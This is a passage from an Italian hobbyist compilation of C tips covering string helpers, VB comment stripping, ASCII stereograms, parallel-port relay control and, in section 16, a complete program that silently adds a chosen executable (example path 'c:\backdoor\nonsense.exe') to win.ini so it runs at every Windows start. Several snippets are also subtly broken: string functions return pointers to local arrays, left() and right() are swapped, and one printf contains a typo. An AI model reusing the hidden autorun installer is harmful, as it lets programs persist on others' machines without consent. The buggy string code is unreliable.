 if(strstr("DECREL:",file[3])||strstr("HEXREL:",file[3])){
  for(i=0;i<=atol(file[4])-1;i++)
   fputc(fgetc(fp),fp2);}

 while(!feof(fp)){
  a=fgetc(fp);
  if(a==leggi[0]){
    b=1;
    for(n=1;n<c;n++)
    if(fgetc(fp)!=leggi[n])b=0;
    if(b==1){
      fseek(fp,ftell(fp)-c,0);
      // printf("trovato a %d\n",ftell(fp));
      for(n=0;n<c;n++){
        a=fgetc(fp);
        if(fa==1||fa==2)fputc(scrivi[n],fp2);
        else fputc(a,fp2);}
      if(fa==2)fa=0;
      a=fgetc(fp);}
    else{
      fseek(fp,ftell(fp)-c,0);
      // printf("saltato a %d\n",ftell(fp));
      a=fgetc(fp);}}
  if(a>=0)fputc(a,fp2);}
 fclose(fp);
 fclose(fp2);
 remove(file[1]);
 rename("passa.exe",file[1]);
}

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 

 



XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
13. Emulatore di funzioni basic per la gestione delle stringhe in c
//---------------------------------------------------------------------------------------------------

 
 che dire?..   alcune semplici funzioni per poter usare in C le comode funzioni basic

 mid, left, instr 

 con due righe di esempio.

 Provare per credere. ;-)

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <conio.h>

char *mid(char *str,int pos,int nc);
int instr(char *st1,char *st2,int pos);
char *change(char *str, char *da, char *a);
char *left(char *str, int nc);
char *right(char *str, int nc);

main()
{      // 0123456789012345678901234567890123456789012345678901234567890
 char *p="prova  c:#wind prova #syste prova m#oks  prova ";
 clrscr();
 printf("%s\n",mid(p,0,3));
 printf("%d\n",instr(p,"prov",16));
 printf("%s\n",change("<WINDOWS>\\cuccurullo pp","<WINDOWS>","pippo"));
 printf("%s\n",left("<WINDOWS>\\cuccurullo pp pippo",10));
 printf("%s\n",right("<WINDOWS>\\cuccurullo pp pippo",3));
 getch();
 exit(0);
}



//------------------------------------------------------------------
// restituisce la substringa della stringa "str"
// "nc" caratteri dopo "pos" compreso
//------------------------------------------------------------------
char *mid(char *str,int pos,int nc)
{
 char s[0xff];
 int n,k=0;
 for(n=pos;n<=pos+nc-1;n++)
   s[k++]=str[n];
 s[k]=0;
 return(s);
}
//------------------------------------------------------------------




//------------------------------------------------------------------
// restituisce la stringa "str" sostituendo la substringa
// "da" con la substringa "a". Se "da" non viene trovata
// restituisce "str" senza modifiche.
//------------------------------------------------------------------
//------------------------------------------------------------------
char *change(char *str, char *da, char *a)
{
 char s[0xff];
 int pos=instr(str,da,0),k;
 if(pos<0)return(str);
 strcpy(s,mid(str,0,instr(str,da,0)));
 strcat(s,a);
 k=instr(str,da,0)+strlen(da);
 strcat(s,mid(str,k,strlen(str)-k));
 return(s);
}
//------------------------------------------------------------------



//------------------------------------------------------------------
// trova la posizione della substringa "st2" in "st1" a partire
// da "pos". Il primo carattere e' alla posizione 0.
//------------------------------------------------------------------
int instr(char *st1,char *st2,int pos)
{
 int tro,n,m;
 for(n=pos;n<=strlen(st1)-strlen(st2);n++){
  tro=1;
  for(m=n;m<=n+strlen(st2)-1;m++)
    if(st1[m]!=st2[m-n])tro=0;
    if(tro==1)return(n);}
 return(-1);
}
//------------------------------------------------------------------



//------------------------------------------------------------------
// restituisce gli ultimi "nc" caratteri di "str"
//------------------------------------------------------------------
char *left(char *str, int nc)
{
 return(mid(str,strlen(str)-nc,nc));
}
//------------------------------------------------------------------




//------------------------------------------------------------------
// restituisce i primi "nc" caratteri di "str"
//------------------------------------------------------------------
char *right(char *str, int nc)
{
 return(mid(str,0,nc));
}
//------------------------------------------------------------------

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::




XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
14. Togliere i rem da un sorgente vb
//---------------------------------------------------------------------------------------------------

  hi hi .. 
  Si trovano in giro un sacco di librerie per vb.. purtroppo sono spesso piene di remark che in
  un proprio programma -sfigurano- :))
  Levare tutti i rem a mano e' una rottura di scatole.
  Farlo automaticamente invece e' piu' comodo anche se non proprio immediato.
  Sappiamo che un rem in VB e' inizilizzato tramite il carattere  " ' " ascii=39 
  (nessuno usa piu' la dicitura REM al fine di evitare di mostrare agli altri di essere rimoasto
  ancorato agli standard del quick basic o peggio del gwbasic.. he he .. chissa' perche' poi ..
  sono linguaggi che io spesso uso ancora, avevano ed HANNO un loro fascino. Di certo il quick basic
  o il powerbasic (ma anche il gwbasic) offrono possibilita' di programamzione a basso livello 
  su territori assolutamente inesplorati dal visual basic: interrupt, linguaggio macchina, ecc.. )
  Ovviamente non e' possibile fare uno script che elimini tutto cio che trova dopo un ascii 39 fino 
  a fine riga perche' esistono deicasi eccezionali che vanno considerati:

   ad esempio la riga :

   for n=1 to 100: a$=" pippo '(" + cstr$(n) + ")" : next n

   verrebbe stroncata senza pieta' come

   for n=1 to 100: a$=" pippo 

   .. il vb chiuderebbe automaticamente la stringa a$ aggiungendo le virgolette e non dando nessun
  errore.. ma la libreria non funzionerebbe piu'.

  uno script per ovviare a questo (ed altri) inconvenienti simili e' il seguente:

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 LEVAREMVB.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

#include <stdio.h>
main(int nf,char **file)
{
 FILE *fp,*fp2;
 int a,k=0,v=-1;
 fp=fopen(file[1],"rb");
 fp2=fopen("passa","wb");
 while(!feof(fp))
  {
   a=fgetc(fp);
   v=a==34?-v:v;
   k=a==39&&v<0?1:k;
   k=a==10||a==13?0:k;
   if(a>=0&&k==0)fputc(a,fp2);
  }
 fclose(fp);
 fclose(fp2);
 remove(file[1]);
 rename("passa",file[1]);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Per processare un file la sintassi sara'

 
 LEVAREM  file_da_processare.vb




XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
15. Creare stereogrammi 3d con poghe righe di c
//---------------------------------------------------------------------------------------------------

 
 Chi non conosce gli stereogrammi?
 Chi non si e' mai -spaccato gli occhi- cercando ci vedere al loro interno? ;-)
 Le prime volte la cosa risulta molto difficile, poi piano piano ci si prende la mano (o l'occhio) 
 e via via vederli risulta sempre piu' facile fino a quando la cosa e' addirittura immediata.
 Hannop indiscutibilemnte una grande attrattiva su di noi perche' ci permettono di visualizzare
 una realta' tridimensionale trasformando solo col nostro cervello una immagine assolutamente piatta.
 Si trovano in rete una grande moltitudine di immagini e programmi per crearli:
 http://www.comlab.ox.ac.uk/archive/  ,  http://members.aol.com/ginbg/3dstereo/ , ecc..
 Quindi tralasciero' la spiegazione tecnica di tutta la cosa che potrete trovare a ruota dei siti
 che ho sopra elencato.
 Quella che segue invece e' la -miniaturizzazione- di un programma noto che crea stereogrammi ascii.
 Uno stereogramma ascii e' una magica composizione di lettere random (tanto da sembrare uan specie di
 codice cifrato) ma guardandolo attentamente emerge dal suo interno un disegno sottostante in rilievo.
 Il disegnoche noi avremo nascosto tramite questo piccolo, efficiente e magico programma in C.
 
 L'utilizzo e' oltremodo semplice.

 Si crea un file di testo con l'immagine da nascondere (quella che poi risultera' in rilievo)

 as esempio

 -------------------- SPP.txt
 


      11111111111111    1111111111111   1111111111111
      11111111111111    1111111111111   1111111111111
      11111111111111    1111111111111   1111111111111
      11111             11111    1111   11111    1111
      11111             11111    1111   11111    1111
      11111             11111    1111   11111    1111
      11111111111111    1111111111111   1111111111111
      11111111111111    1111111111111   1111111111111
      11111111111111    1111111111111   1111111111111
               11111    11111           11111
               11111    11111           11111
               11111    11111           11111
      11111111111111    11111           11111
      11111111111111    11111           11111
      11111111111111    11111           11111


--------------------
 
 
  al posto dei numeri "1" si mettera' 2,3, ..9  al fine di ottenere poi nello stereogramma una 
 maggiore profondita' dell'immagine in rilievo!



 il programma per l'elaborazione e' il seguente:


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
STEREO.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>

main(){
   char m[0xaa],s[0xaa];
   int un=0x10,du=0x47,tr,qu,ci;
   long se;
   time (&se);
   srand (se);
   while(memset(m,0x0,du+1),fgets(m,du+1,stdin)){
      qu=0;
      s[du]=0;
      for(tr=0;tr<du;){
	 qu=0;
	 while(tr>=un&&tr<du&&(ci=m[tr-un])>=0x30&&ci<=0x39){
	    qu=1;
	    s[tr]=s[tr-un+ci-0x30];
	    tr++;}
	 s[tr++]=(qu||tr<un)?'!'+rand()%0x5c:s[tr-un];}
      puts(s);}
}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



 usando questa sintassi:


 STEREO  < SPP.txt > Uscita.txt


 si otterra' il file di testo Uscita.txt rappresentante lo stereogramma.

q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@C
g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y
#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukh
2N_t#D_^Z%=Uhbwq2N_t#D^Z%=Uhbwq2N_t#!D^Z=Uhbwq2N_t#!D.^ZUhbwq2N_t#!D.h^
vXjIU;R_<faIfPG4vXjIU;_<faIfPG4vXjIUs;_<aIfPG4vXjIUs;V_<IfPG4vXjIUs;Vv_
9fPhfG$0X&I>$I519fPhfG0X&I>$I519fPhf5G0XI>$I519fPhf5G20X>$I519fPhf5G2n0
<Fl/Sh@4|QSvX)J^<Fl/Sh4|QSv[X)J^<Fl/Sh4|Sv[X)eJ^<l/Sh,4|v[X)etJ^</Sh,D4
SV,Sy,w(|S&xOosKSV,Sy,(|S&xXOosKSV,Sy,(|&xXOo;sKS,Sy,8(|xXOo;nsKSSy,8:(
SEv5%5x.W/M"onauSEv5%5.W/M"GonauSEv5%5.WM"Gon3auSv5%5'.W"Gon3#auS5%5';.
N$^-lq9,6:(Hm09(N$^-lq,6:(Hm09(N$^-l<q,6(Hm09(N$^-l<qH,6Hm09(N$^-l<qHJ,
doqkN#lV7=KU[OsPdoqkN#V7=KU[OsPdoqkNa#V7KU[OsPdoqkNa#LV7U[OsPdoqkNa#L-V
lW'6zyo"k+1h(e6ClW'6zy"k+1h(e6ClW'6zUy"k1h(e6ClW'6zUy2"kh(e6ClW'6zUy2f"
,D,mzf_YExc0o?K_,D,mzf_YExc0o?K,D,mz$f_Yxc0o?YK,D,mz$f_Yc0o?YwK,D,mz$f_
;uAUJNt7=T-0I!A%;uAUJNt7=T-0I!A;uAUJSNt7T-0I!9A;uAUJSNt7-0I!97A;uAUJSNt
A|F{@x')tJzXU4csA|F{@x')tJzXU4cA|F{@;x')JzXU4QcA|F{@;x')zXU4QlcA|F{@;x'
G5l&B3Jo/?z9c$,{G5l&B3o/?z9c$,{G5l&BD3o/z9c$,l{G5l&BD3o/9c$,lc{G5l&BD3o
F#{XrkTgV+,,YpErF#{XrkgV+,,YpErF#{Xr.kgV,,YpE\rF#{Xr.kgV,YpE\XrF#{Xr.kg
N66qShr:,.Sb3bkxN66qSh:,.Sb3bkxN66qSLh:,Sb3bk'xN66qSLh:,b3bk'bxN66qSLh:
dm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(
(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,
p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[


 non riuscite a vederlo ? :))


 beh .. c'e' un trucco per vederlo: le barre di prospettiva.
 (sono le due x che rappresentano una ideale intersezione del punto focale)

 Guardatele attentamente cercano di NON mettere a fuoco l'immagine da una
 distanza di circa 50 cm.
 Quando riuscirete (solo con la vista e con un po' di impegno) a sovrapporre
 le due x ve ne appariranno 3 .. a quel punto la vostra focale per la 
 visualizzazione dello stereogramma sara' bilanciato.
 Osservate sotto e vedrete in rilievo la scritta SPP.
 Non datevi per vinti .. le prime volte io ho impiegato 10 minuti buoni per
 riuscire a vedere qualcosa.. poi col tempo e con la pratica i vostri occhi
 si abitueranno alla novita' e la cosa sara' praticamente istantanea.
 Una volta imparato a leggere gli stereogrammi il vostro cervello non se lo
 dimentichera' piu' per tutto il resto della vostra vita.

 
                            X               X                q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@CZHlpw0(X[q>)_D@C
g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y9")[:4Z0,g;RMb&y
#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukht!{vO9VHr#|d-ukh
2N_t#D_^Z%=Uhbwq2N_t#D^Z%=Uhbwq2N_t#!D^Z=Uhbwq2N_t#!D.^ZUhbwq2N_t#!D.h^
vXjIU;R_<faIfPG4vXjIU;_<faIfPG4vXjIUs;_<aIfPG4vXjIUs;V_<IfPG4vXjIUs;Vv_
9fPhfG$0X&I>$I519fPhfG0X&I>$I519fPhf5G0XI>$I519fPhf5G20X>$I519fPhf5G2n0
<Fl/Sh@4|QSvX)J^<Fl/Sh4|QSv[X)J^<Fl/Sh4|Sv[X)eJ^<l/Sh,4|v[X)etJ^</Sh,D4
SV,Sy,w(|S&xOosKSV,Sy,(|S&xXOosKSV,Sy,(|&xXOo;sKS,Sy,8(|xXOo;nsKSSy,8:(
SEv5%5x.W/M"onauSEv5%5.W/M"GonauSEv5%5.WM"Gon3auSv5%5'.W"Gon3#auS5%5';.
N$^-lq9,6:(Hm09(N$^-lq,6:(Hm09(N$^-l<q,6(Hm09(N$^-l<qH,6Hm09(N$^-l<qHJ,
doqkN#lV7=KU[OsPdoqkN#V7=KU[OsPdoqkNa#V7KU[OsPdoqkNa#LV7U[OsPdoqkNa#L-V
lW'6zyo"k+1h(e6ClW'6zy"k+1h(e6ClW'6zUy"k1h(e6ClW'6zUy2"kh(e6ClW'6zUy2f"
,D,mzf_YExc0o?K_,D,mzf_YExc0o?K,D,mz$f_Yxc0o?YK,D,mz$f_Yc0o?YwK,D,mz$f_
;uAUJNt7=T-0I!A%;uAUJNt7=T-0I!A;uAUJSNt7T-0I!9A;uAUJSNt7-0I!97A;uAUJSNt
A|F{@x')tJzXU4csA|F{@x')tJzXU4cA|F{@;x')JzXU4QcA|F{@;x')zXU4QlcA|F{@;x'
G5l&B3Jo/?z9c$,{G5l&B3o/?z9c$,{G5l&BD3o/z9c$,l{G5l&BD3o/9c$,lc{G5l&BD3o
F#{XrkTgV+,,YpErF#{XrkgV+,,YpErF#{Xr.kgV,,YpE\rF#{Xr.kgV,YpE\XrF#{Xr.kg
N66qShr:,.Sb3bkxN66qSh:,.Sb3bkxN66qSLh:,Sb3bk'xN66qSLh:,b3bk'bxN66qSLh:
dm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(gkeLsG)&Hdm0G1,(
(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,lSV\hvWPV(v(]`-,
p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[ilK]dSFd'p@kbUD[
                            X               X                





XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
16. Installare di nascosto nel win.ini un proprio programma per l'autorun
//---------------------------------------------------------------------------------------------------

 Spesso uno dei modi miglio e piu' efficaci per far partir un porgramma all'apertura di
 windows e' quello di installarlo nel file win.ini
 
 alla sezione [windows] (se c'e'!) e' possibile aggiungere le righe
 LOAD = <path e nome di un programma da esguire>
 oppure
 RUN = <path e nome di un programma da eseguire>

 nel caso uno o ambedue i comandi siano gia presenti (ad esempio nel caso si sia installato un 
 programma che gia li sfrutta) e' possbile aggiungere -successivi- programmi da eseguire in cascata
 seprando i path e i nomi rispettivi tramite il segno "," (virgola)

 ad esempio

 load = c:\windows\ok.exe , c:\borland\bin\due.exe , c:\backdoor\nonsense.exe

 oppure

 run = c:\windows\ok.exe , c:\borland\bin\due.exe , c:\backdoor\nonsense.exe

 (tra RUN e LOAD ci sara' sicuramente una qualche differenza .. io non l'ho mai capita! :)))


 ad ogni modo il programma che segue inserisce stealth il nome di un programma nel win.ini
 rispettando le seguenti regole

  se trova una riga load aggiunge alla stessa il nome del programma separandolo da quello
    preesistente con una virgola
  altrimenti se trova una riga run aggiunge alla stessa il nome del programma separandolo da quello
    preesistente con una virgola
  altrimenti se non le trova cerca la sezione [windows]
    se la trova aggiunge una riga load=<nome del programma>

 
                         +--------+
                         | inizio |
                         +---+----+
                             |            
                             /\ c'e' un comando load preimpostato?
                  __________/ ?\___________________________
                 |          \ns/                           |
                 |           \/                         +-------+      
                 /\ c'e' una comando run preimpostato?  |   $   | aggiunge " , path\nome_file "
            ____/ ?\__________                          +-------+
           |    \ns/          |                            |
           |     \/           |                           fine
           |              +--------+ 
           |_____         |   $    | aggiunge " , path\nome_file "
                 |        +--------+
                 |            |
                 |           fine
                 |  
                 /\ c'e' una sezione [windows]?                       
            ____/ ?\__________                   
           |    \ns/          |                  
           |     \/           |                  
           |              +--------+ 
          fine            |   $    | aggiunge " load = path\nome_file "
                          +--------+
                              |
                             fine


 il programma:

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setta.c
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <dos.h>
#include <windows.h>

int vedi(char *prog);
char *tolo(char *a);

int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance,
  LPSTR lpCmdLine, int nCmdShow)
{

 FILE *f,*f2;
 char s[100],s1[200],s2[200];
 int trovato=0;
 int nf=_argc;
 char **file=_argv;

 if(nf<=1)exit(0);

 GetWindowsDirectory(s1,200);
 GetWindowsDirectory(s2,200);
 strcat(s1,"\\");
 strcat(s1,"win.ini");
 strcat(s2,"\\");
 strcat(s2,"passa");

 if(vedi(s1)<0)exit(0);

 f=fopen(s1,"rb");
 f2=fopen(s2,"wb");

  while(!feof(f)){
  fgets(s,100,f);
  if(strstr(s,tolo("load=")))trovato=1;}
  if(trovato==1){
    rewind(f);
    while(!feof(f)){
      fgets(s,100,f);
      if(strstr(s,tolo("load="))){
	s[strlen(s)-2]=0;
	strcat(s," , ");
	strcat(s,file[1]);
	strcat(s,"\r\n");};
      fputs(s,f2);}
    goto fine;}

  trovato=0;rewind(f);
  while(!feof(f)){
  fgets(s,100,f);
  if(strstr(s,tolo("run=")))trovato=1;}
  if(trovato==1){
    rewind(f);
    while(!feof(f)){
      fgets(s,100,f);
      if(strstr(s,tolo("run="))){
	s[strlen(s)-2]=0;
	strcat(s," , ");
	strcat(s,file[1]);
	strcat(s,"\r\n");};
      fputs(s,f2);}
    goto fine;}


  trovato=0;rewind(f);
  while(!feof(f)){
  fgets(s,100,f);
  if(strstr(s,tolo("[windows]")))trovato=1;}
  if(trovato==1){
    rewind(f);
    while(!feof(f)){
      fgets(s,100,f);
      if(strstr(s,tolo("[windows]"))){
	fputs(s,f2);
	strcpy(s,"load=");
	strcat(s,file[1]);
	strcat(s,"\r\n");};
      fputs(s,f2);}
    goto fine;}

fine:
 fclose(f);
 fclose(f2);
 remove(s1);
 rename(s2,s1);
 exit(0);

}

int vedi(char *prog)
{
   struct ffblk ffblk;
   int ok;
   ok = findfirst(prog,&ffblk,0);
   if(ok>=0)return 1;
   else return -1;
}

char *tolo(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 sintassi:    setta <path/file>

 Con setta nome_file  il parametro nome_file viene aggiunto al file win.ini
 con le specifiche di "autorun" pronto a partire cioe' al successivo riavvio 
 di windows.



 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
17. automatismo software in c per l'output tramite la porta parallela
//---------------------------------------------------------------------------------------------------


 Utlilizzare l'interfaccia parallela (lpt) del computer avere a disposizione una linea di dati
 in output a 8 bit e' veramente elementare.

 Basta considerare queste semplici cose:

 1 i pin da 2 a 9 della connettore parallelo corrispondono ai -dati- da 0 a 7
 (i bytes che vengono inviati normalmente durante le operazioni di stampa ad esempio)
 
 Per settare uno o piu' di questi pin sul valore zero o uno e' sufficiente usare l'istruzione

 portb(Assegnamento,dato)

 dove dato e' il bytes da inviare.

 ad esempio 255 mettera' a 1 tutti i bit relativi ai dati da d0 a d7..

 Dato  d7 d6 d5 d4 d3 d2 d1 d0
 255    1  1  1  1  1  1  1  1
 137    1  0  0  0  1  0  0  1
   6    0  0  0  0  0  1  1  0

 ecc...

 "Assegnamento" e' l'indirizzo di assegnamento della porta parallela che si intendera' usare.

 Solitamente questo indirizzo e' o 0x378 0 0x278 ..

 ma io non lo so!? ..he he .. me lo immaginavo.

 Si puo' trovare facilmente con due righe di c

//---------------------------------------------------------------
#include <stdio.h>
#include <dos.h>

void main(void)
{
 unsigned int far *ptraddr; 
 unsigned int address;      
 int a;
 ptraddr=(unsigned int far *)0x00000408;
 for (a = 0; a < 3; a++){
    address = *ptraddr;
    if (address == 0) printf(" (vuoto) LPT%d \n",a+1);
    else printf("  0x0%X LPT%d \n",address,a+1);
    *ptraddr++;}
}
//--------------------------------------------------------------- 
 

 emh.. pero' a voler essere onesti si potrebbe trovare anche a mano solo col debug! hi hi hi

 basta controllare gli 8 bytes a seguire la locazione di memoria 0040:0008 cosi':


	>debug      
	
     -d 0040:0008 L8      
	

 avendo una risposta tipo questa:

     0040:0008       78 03 78 02 00 00 00 00    


 sapremmo subito di avere la LPT1 su 0x378 e la LPT2 su 0x278. (Lpt3/4 non presenti)
 Il programma in C fa la stessa cosa ma volete mettere lo stile!? :))


 .. per quanto riguarda invece l'uso dei pin della parallela al fine di controllare un carico
 con una discreta potenza potremmo usare queste soluzioni.




 1. visualizzazione degli stati dei pin


Pin d0         d1         d2         d2         d3
  __|__      __|__      __|__      __|__      __|__  
  \   /      \   /      \   /      \   /      \   /
   \./ Led    \./ Led    \./ Led    \./ Led    \./ Led                     
  --|--      --|--      --|--      --|--      --|--    
    |          |          |          |          | 
    \          \          \          \          \
    / 470 ohm  / 470 ohm  / 470 ohm  / 470 ohm  / 470 ohm
    \          \          \          \          \
    |          |          |          |          |
    +----------+----------+----------+----------+---------- Pin 18-25




 2. Utilizzo di un relais per il contollo di un carico ad elevata potenza.


                                     12V
                                      |
                                      +------+
                                      |    __|__
                                    Relais  /^\  1N4002      
                                    a 12v  /---\
                                      |      |
                                      +------+
                                      |
                                   | /
                  1N4148    4.7K   |/   
        PIN Dx >----|>|-+--\/\/\/--|      2N2222                             
                        |          |\  E
                        +-|<|-+      |  
                       1N4148 |      |
        GNDallel  >-----------+------+
        parallela                    |
                                   GND  



 Perfetto! :)) .. abbiamo tutto quello che ci serve.

 Costruiremo N circuiti di tipo (2) per comandare N carichi diversi. Max 8!
 Si potrebbero  avere piu' carichi utili volendo perche' la periferica parallela usa anche 
 altri bit oltre a quelli -data- : status e control.

 L'automatismo che avevo pensato e' un banalissimo programma in C che legge le impostazioni
 sequenziali delle poete e le relative temporizzazioni da un file di testo scitto alla bisogna.

 (ps il programma che segue governa solo 4 carichi utili invece di otto perche' mi era stato 
  richiesto cosi'.
 Per chi volesse cambiare da 4 a 8 e' necessario cambiare questo spezzone di codice 

-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
    n1=atoi(s);
   fscanf(f,"%s",s);n2=atoi(s);
   fscanf(f,"%s",s);n3=atoi(s);
   fscanf(f,"%s",s);n4=atoi(s);
   fscanf(f,"%s",s);T=atol(s);
   p=time(NULL);
   outp(0x378,(n1+2*n2+4*n3+8*n4));
   printf("Metto la porta a %d%d%d%d =%2d  -> Timer %4ld secondi\n",n1,n2,n3,n4,n1+2*n2+4*n3+8*n4,T);
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-


con questo (ovviamente dichiarando prima tutte le variabili e cambiando gli script di conseguenza!) 

-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-
   n1=atoi(s);
   fscanf(f,"%s",s);n2=atoi(s);
   fscanf(f,"%s",s);n3=atoi(s);
   fscanf(f,"%s",s);n4=atoi(s);
   fscanf(f,"%s",s);n5=atoi(s);
   fscanf(f,"%s",s);n6=atoi(s);
   fscanf(f,"%s",s);n7=atoi(s);
   fscanf(f,"%s",s);n8=atoi(s);
   fscanf(f,"%s",s);T=atol(s);
   p=time(NULL);
   outp(0x378,(n1+2*n2+4*n3+8*n4+16*n5+32*n6+64*n7+128*n8));
   printf("Metto la porta a %d%d%d%d%d%d%d%d =%2d  -> Timer %4ld  \  
      secondi\n",n1,n2,n3,n4,n5,n6,n7.n8,n1+2*n2+4*n3+8*n4+16*n5+32*n6+64*n7+128*n8,T);
-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-

 

 Il programma


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
AUTOMAC.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <dir.h>
#include <conio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>

int vedi(char *prog);
char *tolo(char *a);

main (int a, char **b)
{
 FILE *f;
 char s[10];
 int n1,n2,n3,n4;
 long T;

 time_t p;

 if(a!=2)
   {
    printf("AUTOMAC file_script\n");
    exit(0);
   }
 if(vedi(b[1])<0)
   {
    printf("file script [%s] non trovato\n",b[1]);
    exit(0);
   };


 f=fopen(b[1],"rb");

 while(!strstr(s,tolo("-inizio-")))fscanf(f,"%s",s);

 while(!feof(f))
   {
